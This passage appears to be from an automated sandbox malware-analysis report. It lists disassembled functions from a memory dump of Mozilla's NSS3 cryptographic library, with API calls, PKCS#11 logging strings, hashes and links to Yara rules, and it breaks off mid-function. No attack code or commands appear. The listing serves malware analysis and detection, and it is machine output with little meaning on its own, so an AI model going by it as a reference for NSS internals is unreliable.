PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C739CA3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C739CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6C739CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C739CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C739D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6C739D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6C739D42

Strings

hSession = 0x%x, xrefs: 6C739C7E, 6C739C8E
(CK_INVALID_HANDLE), xrefs: 6C739C9C
ulPinLen = %d, xrefs: 6C739D0B
pPin = 0x%p, xrefs: 6C739CF0
ulUsernameLen = %d, xrefs: 6C739D3D
C_LoginUser, xrefs: 6C739C61
pUsername = 0x%p, xrefs: 6C739D24
userType = 0x%x, xrefs: 6C739CD5

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 3e5b224960560c18deeabc443af5e71a4859300c018ae191c204348c7976a228
Instruction ID: ed919dd97fa37b5914555c78183de323d5c20778ace3cf8d78d834640f39b5ad
Opcode Fuzzy Hash: 3e5b224960560c18deeabc443af5e71a4859300c018ae191c204348c7976a228
Instruction Fuzzy Hash: 41411631605025ABDB218F55DF4EE6A3BB6AB5230DF446474F40D5BB13CB38A818CBD1

Function 6C6F1FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C6F2007
calloc.MOZGLUE(00000001,00000084), ref: 6C6F2077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6F20DF
TlsSetValue.KERNEL32(00000000), ref: 6C6F2188
PR_NewCondVar.NSS3 ref: 6C6F21B7
calloc.MOZGLUE(00000001,00000084), ref: 6C6F221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6F22C2
GetLastError.KERNEL32 ref: 6C6F22CD
free.MOZGLUE(00000000), ref: 6C6F22DD

Part of subcall function 6C6F0F00: PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B
Part of subcall function 6C6F0F00: PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: a8138db294b7da86dc2cb3fe36737294f26754509e6a116016d3429f18c67132
Instruction ID: d379895d0dae34bc2950ab6e3b32e4948089d03bfc30eeb8eb6a2cb376b6521e
Opcode Fuzzy Hash: a8138db294b7da86dc2cb3fe36737294f26754509e6a116016d3429f18c67132
Instruction Fuzzy Hash: FF919DB56013418FDB60DF39C80976A7BF5BB0A708F00453AE59AD6A41DBB49409CFDA

Function 6C819C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6C819C70
PR_NewLock.NSS3 ref: 6C819C85

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PR_NewCondVar.NSS3(00000000), ref: 6C819C96

Part of subcall function 6C6EBB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6C6F21BC), ref: 6C6EBB8C

PR_NewLock.NSS3 ref: 6C819CA9

Part of subcall function 6C7C98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C7C9946
Part of subcall function 6C7C98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6816B7,00000000), ref: 6C7C994E
Part of subcall function 6C7C98D0: free.MOZGLUE(00000000), ref: 6C7C995E

PR_NewLock.NSS3 ref: 6C819CB9
PR_NewLock.NSS3 ref: 6C819CC9
PR_NewCondVar.NSS3(00000000), ref: 6C819CDA

Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6C6EBBEB
Part of subcall function 6C6EBB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6C6EBBFB
Part of subcall function 6C6EBB80: GetLastError.KERNEL32 ref: 6C6EBC03
Part of subcall function 6C6EBB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6C6EBC19
Part of subcall function 6C6EBB80: free.MOZGLUE(00000000), ref: 6C6EBC22

PR_NewCondVar.NSS3(?), ref: 6C819CF0
PR_NewPollableEvent.NSS3 ref: 6C819D03

Part of subcall function 6C80F3B0: PR_CallOnce.NSS3(6C8614B0,6C80F510), ref: 6C80F3E6
Part of subcall function 6C80F3B0: PR_CreateIOLayerStub.NSS3(6C86006C), ref: 6C80F402
Part of subcall function 6C80F3B0: PR_Malloc.NSS3(00000004), ref: 6C80F416
Part of subcall function 6C80F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6C80F42D
Part of subcall function 6C80F3B0: PR_SetSocketOption.NSS3(?), ref: 6C80F455
Part of subcall function 6C80F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6C80F473

Part of subcall function 6C7C9890: TlsGetValue.KERNEL32(?,?,?,6C7C97EB), ref: 6C7C989E

EnterCriticalSection.KERNEL32(?), ref: 6C819D78
calloc.MOZGLUE(00000001,0000000C), ref: 6C819DAF
_PR_CreateThread.NSS3(00000000,6C819EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6C819D9F

Part of subcall function 6C6EB3C0: TlsGetValue.KERNEL32 ref: 6C6EB403
Part of subcall function 6C6EB3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6C6EB459

_PR_CreateThread.NSS3(00000000,6C81A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6C819DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6C819DFC
_PR_CreateThread.NSS3(00000000,6C81A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6C819E29
calloc.MOZGLUE(00000001,0000000C), ref: 6C819E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6C819E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C819E89

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: 282b1e2fcf4c85fb385c5cad9dea92a41498f76471863691ae359d815860194e
Instruction ID: ba5b044850280a87e7dda3fa3a53f09646c648dc99f07f85fc15ae71081e18d9
Opcode Fuzzy Hash: 282b1e2fcf4c85fb385c5cad9dea92a41498f76471863691ae359d815860194e
Instruction Fuzzy Hash: 92613DB1A00706AFD725DF75D944AA7BBE8FF49208B04493AE819C7B11EB70E414CBE5

Function 6C713FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6C714014

Part of subcall function 6C7139F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C715E6F,?), ref: 6C713A08
Part of subcall function 6C7139F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6C715E6F), ref: 6C713A1C
Part of subcall function 6C7139F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C713A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6C714038

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6C71404D

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C82A0F4), ref: 6C7140C2

Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C75F0C8
Part of subcall function 6C75F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C75F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6C71409A

Part of subcall function 6C75BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6C70E708,00000000,00000000,00000004,00000000), ref: 6C75BE6A
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6C7104DC,?), ref: 6C75BE7E
Part of subcall function 6C75BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6C75BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7140DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C7140F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C714108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6C71411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6C714137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6C714150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6C82A1C8), ref: 6C71417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6C714194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6C7141A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C7141B2
PK11_DestroyObject.NSS3(?,?), ref: 6C7141D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C7141FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6C82A1A8), ref: 6C71422D

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: b34ca40d48435426e9da6aed7e460eb4e4a8de69e9177de5f86444be6e9ab48d
Instruction ID: 96e35211ea2b11838fff618d2883f95f580be0ac52fb61632a4f717b8a77ae96
Opcode Fuzzy Hash: b34ca40d48435426e9da6aed7e460eb4e4a8de69e9177de5f86444be6e9ab48d
Instruction Fuzzy Hash: 015118B1B043006BF7109A269E49BA776DCDF5039CF584528ED59C7F82FB31E514A2A2

Function 6C758E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6C758E01,00000000,6C759060,6C860B64), ref: 6C758E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758E9E
PORT_ArenaAlloc_Util.NSS3(6C860B64,00000001,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758EAD
memcpy.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758EC3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(5D8B5657,?,?,?,?,?,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758ED8
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,6C758E01,00000000,6C759060,6C860B64), ref: 6C758EE5
memcpy.VCRUNTIME140(00000000,5D8B5657,00000001,?,?,?,?,?,?,?,?,?,?,?,?,6C758E01), ref: 6C758EFB
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C860B64,6C860B64), ref: 6C758F11
PORT_ArenaGrow_Util.NSS3(?,5D8B5657,643D8B08), ref: 6C758F3F

Part of subcall function 6C75A110: PORT_ArenaGrow_Util.NSS3(8514C483,EB2074C0,184D8B3E,?,00000000,00000000,00000000,FFFFFFFF,?,6C75A421,00000000,00000000,6C759826), ref: 6C75A136

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C75904A

Strings

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_, xrefs: 6C758E76

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Grow_memcpystrlen$Errormemchrstrcmp
String ID: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_
API String ID: 977052965-1032500510
Opcode ID: 9b5ba1435fe9ae7e91b0bd9499dd81ac49aea32ea7c4b0e185c54fa07c6968fd
Instruction ID: e1d5254456f7f16cf5895706498c30e545d80b436dfe45e35d66cd15bc4f1a4c
Opcode Fuzzy Hash: 9b5ba1435fe9ae7e91b0bd9499dd81ac49aea32ea7c4b0e185c54fa07c6968fd
Instruction Fuzzy Hash: 1461A6B5D00106ABDB10CF55CE44AAFB7B5FF94358F544938DC18A7B40EB32A926CBA0

Function 6C708E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C708E5B
PR_SetError.NSS3(FFFFE007,00000000), ref: 6C708E81
PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C708EED
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6C8318D0,?), ref: 6C708F03
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C708F19
PL_FreeArenaPool.NSS3(?), ref: 6C708F2B
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C708F53
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C708F65
PL_FinishArenaPool.NSS3(?), ref: 6C708FA1
SECITEM_DupItem_Util.NSS3(?), ref: 6C708FFE
PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C709012
PL_FreeArenaPool.NSS3(?), ref: 6C709024
PL_FinishArenaPool.NSS3(?), ref: 6C70902C
PORT_DestroyCheapArena.NSS3(?), ref: 6C70903E

Strings

security, xrefs: 6C708EE7

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Arena$Pool$Util$CallErrorFinishFreeItem_Once$Alloc_CheapDecodeDestroyInitQuickmemset
String ID: security
API String ID: 3512696800-3315324353
Opcode ID: d02079d89e0f3fa413a002534eb55032f2470d6c7e3f9261d2cbd0ea5a4e1537
Instruction ID: 562ca26fb7c9e701977749544f1eb08b9e3a14d1a1435ab3b96460ec80cdf9d8
Opcode Fuzzy Hash: d02079d89e0f3fa413a002534eb55032f2470d6c7e3f9261d2cbd0ea5a4e1537
Instruction Fuzzy Hash: 615146F1708200ABD7109A699F49BAB77ECAB8575CF44093AF85497F80E771E908C793

Function 6C734E60 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 127COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetAttributeValue), ref: 6C734E83
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C734EB8
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734EC7

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C734EDD
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C734F0B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734F1A
PR_LogPrint.NSS3(?,00000000), ref: 6C734F30
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C734F4F
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C734F68

Strings

hSession = 0x%x, xrefs: 6C734EA2, 6C734EB2
(CK_INVALID_HANDLE), xrefs: 6C734EC0, 6C734F13
ulCount = %d, xrefs: 6C734F63
C_GetAttributeValue, xrefs: 6C734E7E
hObject = 0x%x, xrefs: 6C734EF5, 6C734F05
pTemplate = 0x%p, xrefs: 6C734F4A

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ pTemplate = 0x%p$ ulCount = %d$ (CK_INVALID_HANDLE)$C_GetAttributeValue
API String ID: 1003633598-3530272145
Opcode ID: c4f70aaebb7dce8cefbb9cc4627ebaae56009f7a222efba603167ed621186522
Instruction ID: 8b7c2e48209d0c083958b9f24e6e5ee11d92b6ed1b85805346d2527d7845706b
Opcode Fuzzy Hash: c4f70aaebb7dce8cefbb9cc4627ebaae56009f7a222efba603167ed621186522
Instruction Fuzzy Hash: 5A410331606025AFDB218B14DF4CFAA3BB9AB4230DF086434F4095BB52C739A948DBD6

Function 6C734CD0 Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 120COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetObjectSize), ref: 6C734CF3
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C734D28
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734D37

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C734D4D
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C734D7B
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C734D8A
PR_LogPrint.NSS3(?,00000000), ref: 6C734DA0
PR_LogPrint.NSS3( pulSize = 0x%p,?), ref: 6C734DBC
PR_LogPrint.NSS3( *pulSize = 0x%x,?), ref: 6C734E20

Strings

hSession = 0x%x, xrefs: 6C734D12, 6C734D22
(CK_INVALID_HANDLE), xrefs: 6C734D30, 6C734D83
*pulSize = 0x%x, xrefs: 6C734E1B
C_GetObjectSize, xrefs: 6C734CEE
hObject = 0x%x, xrefs: 6C734D65, 6C734D75
pulSize = 0x%p, xrefs: 6C734DB7

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulSize = 0x%x$ hObject = 0x%x$ hSession = 0x%x$ pulSize = 0x%p$ (CK_INVALID_HANDLE)$C_GetObjectSize
API String ID: 1003633598-3553622718
Opcode ID: 9d879be05d3ef0bf3cb8d90ed35dcd35c686f52acc4f1493dc8451c4a78b2fd7
Instruction ID: 1b14b7ff3a4f52b0f8035fb2255722c78a017c5e0421b68d1587f5d9f63e999d
Opcode Fuzzy Hash: 9d879be05d3ef0bf3cb8d90ed35dcd35c686f52acc4f1493dc8451c4a78b2fd7
Instruction Fuzzy Hash: 8D412471605124AFD7218B14DF8DF7A3BB9AB4230DF046874E50D5BB12D739A848DBD2

Function 6C737C90 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Verify), ref: 6C737CB6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C737CE4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C737CF3

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

PR_LogPrint.NSS3(?,00000000), ref: 6C737D09
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6C737D2A
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6C737D45
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C737D5E
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C737D77

Strings

hSession = 0x%x, xrefs: 6C737CCE, 6C737CDE
(CK_INVALID_HANDLE), xrefs: 6C737CEC
ulSignatureLen = %d, xrefs: 6C737D72
pData = 0x%p, xrefs: 6C737D25
ulDataLen = %d, xrefs: 6C737D40
pSignature = 0x%p, xrefs: 6C737D59
C_Verify, xrefs: 6C737CB1

Memory Dump Source

Source File: 00000000.00000002.1974330275.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.1974253054.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978403918.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978616526.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978677680.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978716655.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1978751071.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pSignature = 0x%p$ ulDataLen = %d$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_Verify
API String ID: 1003633598-3278097884
Opcode ID: f89657dcc61dd16acf59abde3e05d3cc04d198655904f43b027bd09d5d738821
Instruction ID: 2a376e4abddbf549571a27d1fe7f2f61e4194feec7547da5ed4ac5db6613d96a
Opcode Fuzzy Hash: f89657dcc61dd16acf59abde3e05d3cc04d198655904f43b027bd09d5d738821
Instruction Fuzzy Hash: E331DF31602155EBDB218F25DF4DE7A37F5AB4220CF086474E40D5BB12DB38A848CBE2

Function 6C732F00 Relevance: 26.4, APIs: 8, Strings: 7, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SetPIN), ref: 6C732F26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C732F54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C732F63

Part of subcall function 6C81D930: PL_strncpyz.NSS3(?,?,?), ref: 6C81D963

